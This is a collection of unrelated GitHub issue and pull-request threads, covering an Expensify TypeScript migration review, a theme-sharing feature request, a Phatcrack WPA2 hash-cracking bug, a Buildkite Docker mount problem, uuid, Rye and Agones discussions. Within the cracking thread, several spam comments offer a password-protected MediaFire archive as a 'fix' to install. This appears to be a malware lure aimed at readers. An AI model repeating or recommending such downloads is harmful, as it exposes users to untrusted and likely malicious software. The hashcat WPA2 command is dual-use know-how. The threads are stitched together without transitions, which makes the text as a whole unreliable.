[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] If we are not using the full Onyx data that we loaded, I've added the proper selector in order to ensure the component only re-renders when the data it is using changes

[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)

[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR author checklist, including those that don't apply to this PR.

Screenshots/Videos

Web
https://github.com/Expensify/App/assets/25230417/3e47f75d-8384-4ab3-ae51-29ac4514760d

Mobile Web - Chrome

Mobile Web - Safari

Desktop
https://github.com/Expensify/App/assets/25230417/120197ff-1d08-4308-8b76-c3283d7baa0e

iOS
https://github.com/Expensify/App/assets/25230417/faa39ec0-285d-4f5f-8609-c76a74885eb4

Android
https://github.com/Expensify/App/assets/25230417/07d9545a-1c1f-4c01-93d6-9c5f7a6abb35

@kubabutkiewicz Let's add some QA steps!

Commenting here for review!

@kubabutkiewicz Can you fix conflicts?

@kubabutkiewicz Can you fix typecheck?

@shubham1206agra fixed 😄

@kubabutkiewicz Can you explain every use of eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing in the code as comments? It may not be obvious to everyone

TODO: Examine ExpenseOriginalMessage type

I think Record<string, never> should be replaced to EmptyObject everywhere.

There's some issue with isEmptyObject and isEmptyObject. They are not resolving the type after using it.

@kubabutkiewicz Can you tell me where the conflict was so I can review that part again?

@kubabutkiewicz I will do another round of review tomorrow (mainly rechecking the use of ?? and function signature). I have some other task which need some priority now.

Please resolve conflicts again :)

@shubham1206agra I think I resolved all your comments and resolved conflicts, let me know if you have any more questions, thanks 😄

Can you see the typecheck fail?

@shubham1206agra fixed :)

@shubham1206agra commnents resolved 😄

Just doing the second round of review.
@kubabutkiewicz Can you retest this PR in meantime?

@shubham1206agra did few rounds of tests and looks good 👍

@shubham1206agra conflicts and comment resolved :)

Creating a test build, @shubham1206agra can you prioritize getting this one over the finish line please? Let u know if there is any way to help you! thank you!

:test_tube::test_tube: Use the links below to test this adhoc build on Android, iOS, Desktop, and Web. Happy testing! :test_tube::test_tube:

Android :robot:
iOS :apple:

https://ad-hoc-expensify-cash.s3.amazonaws.com/android/29012/index.html
https://ad-hoc-expensify-cash.s3.amazonaws.com/ios/29012/index.html

Desktop :computer:
Web :spider_web:

https://ad-hoc-expensify-cash.s3.amazonaws.com/desktop/29012/NewExpensify.dmg
https://29012.pr-testing.expensify.com

Might be unrelated to this. @kubabutkiewicz Can you check this?

https://github.com/Expensify/App/assets/58412969/e0c423c6-4120-4e51-b351-42a04b8da20e

@shubham1206agra I am not able to reproduce this error

and based on the code I think its not related to ReportUtils changes, transaction comes from Onyx.

Can you check this with safari?

@shubham1206agra Same on Safari

Which site are you accessing?
Local dev or adhoc?

Local dev

Local dev

So sorry. Looks like I got out of sync with the latest changes maybe.  https://github.com/Expensify/App/pull/29012#issuecomment-1819368466 still occurs :(

@shubham1206agra so what we are doing now , I tried to clean cache etc on my side but still I am not able to reproduce it

I will test this again later
Maybe the problem is in my account (not sure)
I will try to finish this today

The problem stems from here. Looks like receipt is getting to []

And backend is sending correct value {}

@mountiny Can you confirm this problem?

https://github.com/Expensify/App/pull/29012#issuecomment-1819368466 is repro on main, too.
So, I don't think this is a blocker now.

@mountiny Can you create another adhoc build if possible?

@mountiny done 😄

Triggered the build here https://github.com/Expensify/App/actions/runs/6958947306 @shubham1206agra lets try to prioritize the review of this one over other due to high conflict rate and this blocking lots of other changes

:test_tube::test_tube: Use the links below to test this adhoc build on Android, iOS, Desktop, and Web. Happy testing! :test_tube::test_tube:

Android :robot:
iOS :apple:

https://ad-hoc-expensify-cash.s3.amazonaws.com/android/29012/index.html
❌ FAILED ❌

The QR code can't be generated, because the iOS build failed

Desktop :computer:
Web :spider_web:

❌ FAILED ❌
https://29012.pr-testing.expensify.com

The QR code can't be generated, because the Desktop build failed

@mountiny Desktop and iOS builds failed 🤔

Seems like a fluke, running again here https://github.com/Expensify/App/actions/runs/6959778831

:test_tube::test_tube: Use the links below to test this adhoc build on Android, iOS, Desktop, and Web. Happy testing! :test_tube::test_tube:

Android :robot:
iOS :apple:

https://ad-hoc-expensify-cash.s3.amazonaws.com/android/29012/index.html
❌ FAILED ❌

The QR code can't be generated, because the iOS build failed

Desktop :computer:
Web :spider_web:

https://ad-hoc-expensify-cash.s3.amazonaws.com/desktop/29012/NewExpensify.dmg
https://29012.pr-testing.expensify.com

This is not happening on main

@kubabutkiewicz Can you check this on priority?

Videos for future
https://github.com/Expensify/App/assets/58412969/a68a828b-ac72-454e-b306-ab50e47f82ee
https://github.com/Expensify/App/assets/58412969/4a1b0f52-0be8-4f8e-9ca5-a74a08a60dd9
https://github.com/Expensify/App/assets/58412969/ce23c018-6b35-48c1-866b-0489fae06679

@shubham1206agra can you provide some steps to reproduction ?

@shubham1206agra can you provide some steps to reproduction ?

Just go to any archived room

@shubham1206agra what exactly is wrong with the archived chat?

See footer

It's both

Please correct getPolicyName implementation

@shubham1206agra Please try to err on a side of being more descriptive rather than less as it does not have to be obvious to others what you are pointing out. Thanks for testing so thoroughly this tricky PR
@kubabutkiewicz there is more conflicts now

https://github.com/Expensify/App/assets/58412969/e03ac2e6-503e-46f8-ac39-e2d1abb25e83

@shubham1206agra I resolved conflicts and issues , you can recheck

Screen.Recording.2023-11-23.at.7.15.46.PM.mov
This is happening on every refresh

This is not fixed

Are there any specific steps to reproduce? because on my side seems to be fine.
https://github.com/Expensify/App/assets/25230417/689e1249-32d8-42e4-aef2-dec130bebba9

I don't know what is happening.
They are all money requests, that I know.

Reviewer Checklist

[x] I have verified the author checklist is complete (all boxes are checked off).
[x] I verified the correct issue is linked in the ### Fixed Issues section above
[x] I verified testing steps are clear and they cover the changes made in this PR

[x] I verified the steps for local testing are in the Tests section
[x] I verified the steps for Staging and/or Production testing are in the QA steps section
[x] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[x] I checked that screenshots or videos are included for tests on all platforms
[x] I included screenshots or videos for tests on all platforms
[x] I verified tests pass on all platforms & I tested again on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[x] I verified proper code patterns were followed (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I verified that this PR follows the guidelines as stated in the Review Guidelines
[x] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG)

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native
https://github.com/Expensify/App/assets/58412969/ce23c018-6b35-48c1-866b-0489fae06679

iOS: mWeb Safari

MacOS: Chrome / Safari
https://github.com/Expensify/App/assets/58412969/a68a828b-ac72-454e-b306-ab50e47f82ee

MacOS: Desktop
https://github.com/Expensify/App/assets/58412969/4a1b0f52-0be8-4f8e-9ca5-a74a08a60dd9

@kubabutkiewicz Can you make the above change quickly?

@shubham1206agra all testing well otherwise?

@shubham1206agra all testing well otherwise?

Yes, I think so.
I have reported this https://github.com/Expensify/App/pull/29012#issuecomment-1824465846 in slack as this seems to be a deploy blocker of sorts.
But if possible, can we have QA from someone else, too (maybe Applause) before merging this PR so no regression might occur from this?

@kubabutkiewicz Can you make the above change quickly?
@shubham1206agra done

But if possible, can we have QA from someone else, too (maybe Applause) before merging this PR so no regression might occur from this?

The problem is that Applause will take couple days and in the meantime there will be bunch of deploy blockers, I think with this kind of PR we need to bite the bullet and get it merged and fix on main/ staging as people notice some issues.

Ok then :shipit: then

@nkuoch all yours 🙏

The problem is that Applause will take couple days and in the meantime there will be bunch of deploy blockers, I think with this kind of PR we need to bite the bullet and get it merged and fix on main/ staging as people notice some issues.

I think in this case it's better to have an ad hoc build tested for this and handle conflicts as they come. If we merge this PR and there are blockers, it's likely that a revert won't be easy because of conflicts and then we'd be blocking the deploy until we fix all issues.

@nkuoch done, could you recheck? 🙏

@nkuoch conflicts resolved 🙏

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by https://github.com/nkuoch in version: 1.4.4-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

Hi @kubabutkiewicz , this migration generated this issue: https://github.com/Expensify/App/issues/32111


Display readiness percentage in participants bubble

Light mode: https://xd.adobe.com/view/14d067f8-d785-4320-b2b2-dee637950b55-4183/
Dark mode: https://xd.adobe.com/view/c34cf00f-b4b4-4a8d-b7b0-c919a5c30253-961f/


FR: User created shareable themes.

Feature Request: User Created Shareable Themes
The idea here is that users can share the themes that they create with their followers (and the world!)
Introduction
In the settings currently, there is a list of 10 preset themes for the user to choose from. This feature request proposes that this theme library be user editable and that user created custom themes can be saved in the library and shared as a nostr note, which astral clients can recognise from the format and offer users that receive the note a way to add it to their theme library. This could allow designers and other creative people skilled in colour to showcase their creations and perhaps even receive value-for-value tips for their work.
Suggested Sharing Format
This is just my suggestion, no problem if you have a better way!

Add my Astral theme to your theme Library:
{ "Supernova": ["#ffffff", "#fefefe", "#eeeeee", "#dddddd"] }

Not a real theme, lol! The array values are in the same order as they appear in app at the moment, (primary, secondary, accent, background) and can be any CSS colour string (eg hex, rgb, rgba, hsl, etc). The users of other clients will see the message as it appears above and is kind of free astral advertising and buzz, but how astral displays it to it's users could be quite different. It could replace the JSON with, for example, the four colours in the theme or, even, if you want to get fancy, a small mock-up of what the theme would look like demonstrating the four colours in elements they will be used in.
Most importantly, astral would insert a button that would add the theme to the library, perhaps even a followup button if they do to apply the theme immediately.
Maybe it would be preferable to have the button first load the theme for 5 seconds before reverting back, in case some joker make the theme unusable by making everything black!
Another suggestion would be to extend the JSON a little to include details about the author:
{
  "name": "Supernova",
  "colors": ["#ffffff", "#fefefe", "#eeeeee", "#dddddd"],
  "creator": "npub1....",
  "lnurl"<EMAIL_ADDRESS>}

Yeah that sounds great. It's a bit like myspace!

thats exactly the ethos I'm going for! early web social platforms like myspace/xanga

wow those are really cool! but I think its a bit too much for astral. I don't want css to be changing everywhere, just want people to be able to update their colors. I think the more complicated the customization is the less non-technical uesrs will use it.


Failure to crack WPA2 hash

$ /opt/crypt/phatcrack-agent/hashcat/hashcat.bin --quiet --session sess-<omit> --outfile-format 1,3,5 --outfile /tmp/phatcrack-<omit> --status --status-json --status-timer 3 --potfile-disable -a 0 -m 22000 <omit> /opt/crypt/phatcrack-agent/listfiles/<omit>

{ "session": "sess-<omit>", "guess": { "guess_base": "/opt/crypt/phatcrack-agent/listfiles/<omit>", "guess_base_count": 1, "guess_base_offset": 1, "guess_base_percent": 100.00, "guess_mask_length":<PHONE_NUMBER>, "guess_mod": null, "guess_mod_count": 1, "guess_mod_offset": 1, "guess_mod_percent": 100.00, "guess_mode": 1 }, "status": 6, "target": "/tmp/phatcrack-<omit>", "progress": [1, 1], "restore_point": 0, "recovered_hashes": [1, 1], "recovered_salts": [1, 1], "rejected": 0, "devices": [ { "device_id": 1, "device_name": "NVIDIA GeForce RTX 3080 Ti", "device_type": "GPU", "speed": 11, "temp": 83, "util": 100 }, { "device_id": 2, "device_name": "NVIDIA GeForce RTX 3080 Ti", "device_type": "GPU", "speed": 0, "temp": 82, "util": 100 }, { "device_id": 3, "device_name": "NVIDIA GeForce RTX 3080 Ti", "device_type": "GPU", "speed": 0, "temp": 78, "util": 100 }, { "device_id": 4, "device_name": "NVIDIA GeForce RTX 3080 Ti", "device_type": "GPU", "speed": 0, "temp": 75, "util": 100 } ], "time_start":<PHONE_NUMBER>, "estimated_stop":<PHONE_NUMBER> }

Its worth nothing that the passwords file is only 2 lines long.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Looks like a number of hashtypes that don't set MODULE_DEFAULT for their encoding (or otherwise have notably different encoding between the input type, potfile type, and outfile type) won't be correctly picked up by Phatcrack.
I'm currently implementing a stop gap measure that if a hash arrives that Phatcrack isn't aware of, it'll upsert it to the hashlist. Still need to think of a more robust solution.


mount-buildkite-agent & empty directory

I've got the following
  - label: ":centos: [CentOS] 7 Ensure Dependency Image Exists"
    command:
      - "$APT_PREP"
      # - "mkdir -p ~/.ssh && chmod 600 ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts"
      - "$ENSURE_LINUX_IMAGE centos:7 $IMAGE_TAG_VERSION"
    agents:
      queue: "automation-eos-builder-fleet"
    plugins:
      - docker#v3.2.0:
          image: "ubuntu:18.04"
          shell: ["/bin/bash", "-i", "-e", "-c"]
          debug: true
    timeout: 120
    skip: $SKIP_CENTOS_7

Buildkite is showing that running as
docker run -it --rm --init --volume /home/kubernetes/flexvolume/buildkite/builds/buildkite-k8s-agents-eos-builder-588d697f99-wgml2-1/EOSIO/base-images-test:/workdir --workdir /workdir --env BUILDKITE_JOB_ID --env BUILDKITE_BUILD_ID --env BUILDKITE_AGENT_ACCESS_TOKEN --volume /usr/local/bin/buildkite-agent:/usr/bin/buildkite-agent ubuntu:18.04 /bin/bash -i -e -c apt-get update && apt-get upgrade -y && apt-get install -y git sudo jq

However, I ls -laht /usr/bin/buildkite-agent and see an empty directory.
Any ideas what's wrong?

Hey @NorseGaud! Sorry for not spotting this earlier.
Does /usr/local/bin/buildkite-agent exist on the host (if you run a command with ls -lsa /usr/local/bin/buildkite-agent)? And I wonder if it's being disallowed to be bind-mounted into the container, or that's being blocked somehow?

No problem, sorry for the delay. I got pulled into an urgent issue. Here are the results without mount-buildkite-agent specified in our pipeline.yml:
ls -laht /usr/local/bin/buildkite-agent; ls -laht /usr/bin/buildkite-agent
ls: cannot access /usr/local/bin/buildkite-agent: No such file or directory
--
  | total 8.0K
  | dr-xr-xr-x 1 root root 4.0K Jul 25 17:31 ..
  | drwxr-xr-x 2 root root 4.0K Jul 24 19:50 .

Checking on the bind-mount permissions.

Ok, I just ran a test using volumes and got the following:
          volumes:
            - "/usr/local/bin/buildkite-agent"

total 8.0K
--
  | drwxr-xr-x 1 root root 4.0K Jul 25 17:38 ..
  | drwxr-xr-x 2 root root 4.0K Jul 25 17:38 .
  | total 8.0K
  | dr-xr-xr-x 1 root root 4.0K Jul 25 17:38 ..
  | drwxr-xr-x 2 root root 4.0K Jul 24 22:19 .

So even volumes is mounting an empty directory instead of the file.

Aha! On my local machine, same:
``
docker run -ti --rm -v $(pwd):/workdir -v /usr/local/bin/buildkite-agent eosio/producer:eosio-ubuntu-18.04-97c66ab9db7382be04dea9e9
598fd110d66432f1 bash
root@4a86d4037865:/# command -v buildkite-agent
root@4a86d4037865:/# ll /usr/local/bin/
total 56676
drwxr-xr-x 1 root root     4096 Jul 25 17:41 ./
drwxr-xr-x 1 root root     4096 Jul 25 13:23 ../
drwxr-xr-x 2 root root     4096 Jul 25 17:41 buildkite-agent/
-rwxr-xr-x 1 root root 18833304 Jul 25 13:23 cmake*
-rwxr-xr-x 1 root root 18844128 Jul 25 13:23 cpack*
-rwxr-xr-x 1 root root 20312080 Jul 25 13:23 ctest*
-rwxr-xr-x 1 root root    24720 Jul 25 13:26 mongoc-stat*

Furthermore, mounting the dir where it is doesn't work either:
docker run -ti --rm -v $(pwd):/workdir -v /usr/local/bin:/host-bin eosio/producer:eosio-ubuntu-18.04-97c66ab9db7382be04dea9e9598fd110d66432f1 bash
root@44a3b6b66446:/# ls -laht /host-bin/
total 158M
drwxr-xr-x 1 root root 4.0K Jul 25 17:43 ..
drwxr-xr-x 2 root root 2.0K Feb 13 10:29 .
-rwxr-xr-x 1 root root  27M Feb 10 04:14 containerd
-rwxr-xr-x 1 root root 4.8M Feb 10 04:14 containerd-shim
-rwxr-xr-x 1 root root  15M Feb 10 04:14 ctr
-rwxr-xr-x 1 root root  49M Feb 10 04:14 docker
-rwxr-xr-x 1 root root 747K Feb 10 04:14 docker-init
-rwxr-xr-x 1 root root 2.8M Feb 10 04:14 docker-proxy
-rwxr-xr-x 1 root root  52M Feb 10 04:14 dockerd
-rwxr-xr-x 1 root root 7.2M Feb 10 04:14 runc

For anyone interested in a solution... We installed buildkite-agent in the dockerfile and just used the --token and --agent-access-token to do start or upload commands in the various scripts. We did have to pass in the right ENVs which were available on the first docker layer:
environment:
  - "BUILDKITE_AGENT_ACCESS_TOKEN" # Needed for buildkite-agent upload
mount-buildkite-agent: false # Mounting bk-agent doesn't work, so disable it
propagate-environment: true # Need for buildkite-agent upload (JOB_ID, etc)


docs: update quick-setup link

PR Checklist

[x] The PR title follows our guidelines: https://github.com/NativeScript/NativeScript/blob/master/CONTRIBUTING.md#commit-messages.
[ ] There is an issue for the bug/feature this PR is for. To avoid wasting your time, it's best to open a suggestion issue first and wait for approval before working on it.
[x] You have signed the CLA.
[ ] All existing tests are passing: https://github.com/NativeScript/nativescript-angular/blob/master/DevelopmentWorkflow.md#running-the-tests
[ ] Tests for the changes are included.

What is the current behavior?
Document links to https://docs.nativescript.org/setup/quick-setup which gives 404.
What is the new behavior?
Document links to https://docs.nativescript.org/angular/start/quick-setup.

Thank you @hlovdal !

I found out that two of the tslint rules was renamed and not deprecated, I created a new pull request to add them again.


feat: SwapStation adjustments

Feature Request
Add some adjustments in SwapStation and also add some features
Describe the Feature Request
The Definition of done is implementing

[ ] #82

Related Code
SwapStation.tsx

This is duplicated from the #82 itself


Call to fmiTerminate

When a simulation crashes (due to external reasons), I get the following output:
[ERROR][Last] [error][FMU status:Error] fmiTerminate: Illegal call sequence.

I guess it's not really a big deal, but maybe you want to know about it.

According to the FMI 1.0.x specification it is not allowed to call fmiTerminate after one of the previous functions calls returned fmiError or fmiFatal. This is what this message is about. Thus, it basically proves that the FMU simulation tool is not compliant with the FMI specification. Unfortunately, this even includes the FMU/FMI Compliance Checker itself, see https://github.com/modelica-tools/FMUComplianceChecker/issues/26. Thus, if other FMU simlation tools adopt the calling scheme from FMU/FMI Compliance Checker, the same error messages can be observed with FMUs generated by FMU-SDK, e.g. Last.fmu.

I also improve the verbosity of that message by 3d614a2.
	[FMU][error][FMU status:Error] fmiTerminate: Illegal call sequence.
	[FMU][error][FMU status:Error] fmiTerminate must not be called in FMU state Error. Expected FMU state(s): Initialized.

@beutlich Is there maybe an option to disable the FMU logging the errors as well?

I could change that error mesage to a debug message such that it only is logged for maximal FMU logging verbosity. Would this be of help?

I would appreciate it. I am sort of running simulations in the loop and some of them fail. So the output is cluttered with the error messages.

OK, I disabled that error single error check by d580f0b.


Improve output format for mismatchedArgs in mock/spy calls

Summary
Solves #5843
Test plan
Old output:

New output:

cc @pedrottimark


duplicate v1 uuids if both msecs and nsecs are specified

if we were to repeatedly try to get uuids for the exact same msecs and nsecs uuid.v1({msecs:<PHONE_NUMBER>517, nsecs: 1234}), it would return the exact same uuid since this line (https://github.com/broofa/node-uuid/blob/master/uuid.js#L158) only checks for <, although a non-moving clock might be considered a clock regression too. For example if you were to subsequently decrement the nsecs in the next call and re-increment it back to the first value on subsequent calls, it would have a different UUID due to a clock sequence change. Would it be a violation of the RFC to use <= comparison here?

A non-moving clock isn't a regression, it's simply what happens when the frequency of the clock is less than the frequency of v1() invocations.  This case is addressed in the RFC:

A high resolution timestamp can be simulated by keeping a count of the number of UUIDs that have been generated with the same value of the system time, and using it to construct the low order bits of the timestamp.

By specifying nsecs explicitly you're overriding the mechanism used to ensure UUID uniqueness in this case.  Thus, duplicate UUIDs are expected.  (If that seems wrong to you, bear in mind that the options argument is supported primarily for testing purposes.  It's not something you should be using in non-testing situations.)


Discussion: Address verb tense in spec

Reticketed from: https://github.com/conventional-changelog/conventionalcommits.org/pull/21#discussion_r175686126
Resources

StakeOverflow: Should I use past or present tense in git commit messages?

I prefer using an imperative mood, as described in the linked article in this slide

Ditto. Past tense makes for more sensible changelog creation automation imho, so I'd love to recco that

Closing this one due to inactivity :)


Add contribution guide

Deploy preview for pf-next ready!
Built with commit daf96a058b32f3c9efdd471aa10516b18a2f5318
https://deploy-preview-247--pf-next.netlify.com


Add Nuruddeen Sambo to list

Hi! It looks like you added your name in the middle (and not to the end) and there is also information from other people added. I'm closing this, please open a new PR with just your information. Thank you!


Fix Warnings in Docker Compose

I've updated the Makefiles for docker compose to fix the warnings described in #2289
I also had a query:  What environment variable references do I have to set for CACHED_ASSETS_BASE_URL, API_HF_JWT_ADDITIONAL_PUBLIC_KEYS and ASSETS_BASE_URL since there were several different ones used. Please let me know and I will make the necessary changes.
Fixes #2289
cc: @severo

Could you please review the changes?
cc: @severo

Could you please review the changes?
cc: @lhoestq


if an error is thrown by a loader(), we only log it to the console, but silently let the canvas run forward, which may lead to other runtime errors that are misleading

steps to reproduce: open the hydrogen test project, put a throw new Error('hello') in any of the loaders, and witness as the error is logged to the console, but the canvas is still rendering.
fix: the error message should show up as a big red canvas runtime error, with our usual source code snippet handling etc

@balazsbajorics I added one of these to a loader and it worked fine:

Maybe it only breaks for a certain kind?


Creating multiple lock files

Hello,
I'm using Rye in a repository where I have a few optional dependencies group. I'm using this group depending on docker image that I want to create. So, for example:
[project]
name = "test"
version = "1.1.0"

dependencies = [
    "pandas>=2.2.2",
    "pyarrow>=16.1.0",

]
requires-python = ">=3.10"
readme = "README.md"

[project.optional-dependencies]

group1 = [
    "azure-core==1.30.1",
    "azure-storage-blob==12.20.0",
    "adlfs==2024.4.1",
]
group2 = [
    "awswrangler==3.7.3",
    "s3fs==2024.6.0",
]

I'd like to create my own custom .lock file, which I can use in my docker image.
It will be cool to have an optional flag during execution of rye lock --fatures group1 for example --lock-file where I could specify a new lock file with default dependencies and dependencies from group1. Whole command rye lock --fatures group1 --lock-file requirements-group1.
Files in the root repository folder after execution:
├── requirements-dev.lock
├── requirements-group1`.lock
├── requirements.lock

I second this, especially in cloud workflows such as lambdas where you will have multiple of them in a single repo, the ability to generate one lock file each for the respective lambdas greatly useful. PDM and Poetry both support these features. A syntax example to support this is as given below
rye lock --features group1 group2 --lock-file requirements-consolidated


Error: Could not add the selected audio and video devices to the canvas. Please check the app settings to ensure that the correct webcam and microphone are selected.

Error: Could not add the selected audio and video devices to the canvas. Please check the app settings to ensure that the correct webcam and microphone are selected.
this error show after deployment on aws ec2 Linux  server please help to fix it.

@Damsdelhi Sorry to hear you are experiencing this error. To help you debug this issue, could you provide the following information:

The browser and version where you are seeing this error
The make and model of the webcam and microphone that you are using
Any related errors printed in the browser console


[1.19] Broken Apotheosis Compat

Hi - A user recently poked me about a data loading error, and it seems you have boss files that are shipping in 1.18+ that are based on the 1.16.5 format, which are no longer valid.
The new format can be seen by example at https://github.com/Shadows-of-Fire/Apotheosis/blob/1.19/src/main/resources/data/apotheosis/bosses/overworld/husk.json or any of the adjacent files.

Actually this should be on Dungeons-Mobs, not sure how I ended up on this repo (think I just clicked-through too many issues).
Closing and reposting to the right repo.


(Android) Improve reporting of 'adb devices' for #1427

Improve reporting of 'adb devices' for #1427, so that users could report important stuff back when (if) this happens.

@noomorph well I was contemplating between logs and and error message;  I suppose coming from Android where the log size is limited, I got used to crunching it. Anyways though I don't believe it matters much I will change it - seems like a more proper way to do it. tnx


1st Party / Distributed Matchmaker support

Objective
To be able to support matchmaking systems that require a gameserver to register themselves with the matchmaker -- such as first party matchmakers.
Background
Many matchmakers that console and others companies provide as hosted services, have a matchmaker workflow in which:

A gameserver will register itself with the matchmaker when ready (usually for a specific period of time), with their IP and port(s) for gameplay
The matchmaker will choose the gameserver out of the pool that have registered themselves
The matchmaker will communicate to the game server that the matchmaker has chosen it for gameplay
Players will then play on the game server.

This would be an alternative flow to FleetAllocation or GameServerAllocation, which will remain the preferred method of GameServer allocation, so that Agones can retain fine control of scheduling within the cluster, but since this is quite a prevalent workflow, Agones should also support it, with appropriate documentation on the tradeoffs.
Requirements and Scale
The design and implementation must ideally have no potential race conditions, and actively prevent the user from incurring race conditions in their usage as well.
Design Ideas
To support this within Agones, we will need to add three enhancements:

A new Reserved GameServer state
A new SDK function Reserve(seconds)
A new SDK function Allocate()

Reserved GameServer State
Reserved state is to signify that the GameServer cannot be deleted, as it may move to allocated in a given time frame. Therefore:

When scaling down a Fleet, Reserved instances will not be deleted
When autoscaling a fleet, they will be counted towards the current buffer, and therefore a change of state to Reserved will not incur an increase in GameServers in the Fleet.

This will mean that if a GameSerer is not demarcated for a game session by the matchmaker, it can move back to Ready in a timely manner, and is able to be scaled down as needed.
SDK Function: Reserve(seconds)
This new SDK function, Reserve will set the GameServer record to the Reserved state for the given number of seconds. (0 indicating forever). When that time period has ended, the GameServer shall revert back to Ready.
It is assumed that when working with a matchmaker, the developer will mark the GameServer as Reserved for slightly longer than it is registered with the matchmaker, so as to avoid scale down race conditions.
